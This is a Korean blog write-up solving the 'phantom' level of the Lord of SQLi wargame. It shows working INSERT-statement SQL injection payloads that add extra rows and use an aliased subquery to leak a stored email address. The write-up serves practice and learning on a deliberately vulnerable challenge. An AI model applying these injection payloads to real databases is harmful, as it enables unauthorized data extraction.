반응형
문제
https://los.rubiya.kr/chall/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php
los.rubiya.kr
문제풀이
문제가 풀리는 부분을 보니, no=1인 email의 값을 알아내야 한다.
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
no, ip, email 순서로 데이터베이스에 삽입되며, IP주소는 자동으로 설정된다.
joinmail 파라미터를 통해 다중 값을 삽입할 수 있다.
"insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
아래와 같이 파라미터에 전달하면,
insert into prob_phantom values(0, 'IP주소', '1'),(0,'IP주소','1') 쿼리문이 실행된다.
IP주소가 맞아야 값이 삽입된다.
joinmail=1'),(0,'IP_addr','1
아래와 같이 서브 쿼리를 통해 원하는 결과를 출력할 수 있다.
joinmail=1'),(0,'IP_addr',(select database())) -- -
그래서 서브쿼리로 이메일을 바로 출력할 수 있을 줄 알았는데, 계속 출력이 안됐다.
한 쿼리문에서 같은 테이블 이름을 사용하지 못하기 때문에, as 키워드를 통해 별칭 설정을 해주어야 한다.
?joinmail=1'),(0,'IP',(select email from prob_phantom where no=1)) -- -
별칭 설정 후, 전송하면 이메일을 확인할 수 있다.
?joinmail=1'),(0,'IP',(select email from prob_phantom as p where no=1)) -- -
email 파라미터에 위 이메일 주소를 전송하면 no=1이 아닌 값들을 모두 삭제하고 문제가 해결된다.
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] ouroboros - zombie (0) | 2023.11.10 |
---|---|
[LOS] frankenstein (0) | 2023.11.04 |
[LOS] blue_dragon (0) | 2023.11.03 |
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] green_dragon (0) | 2023.01.28 |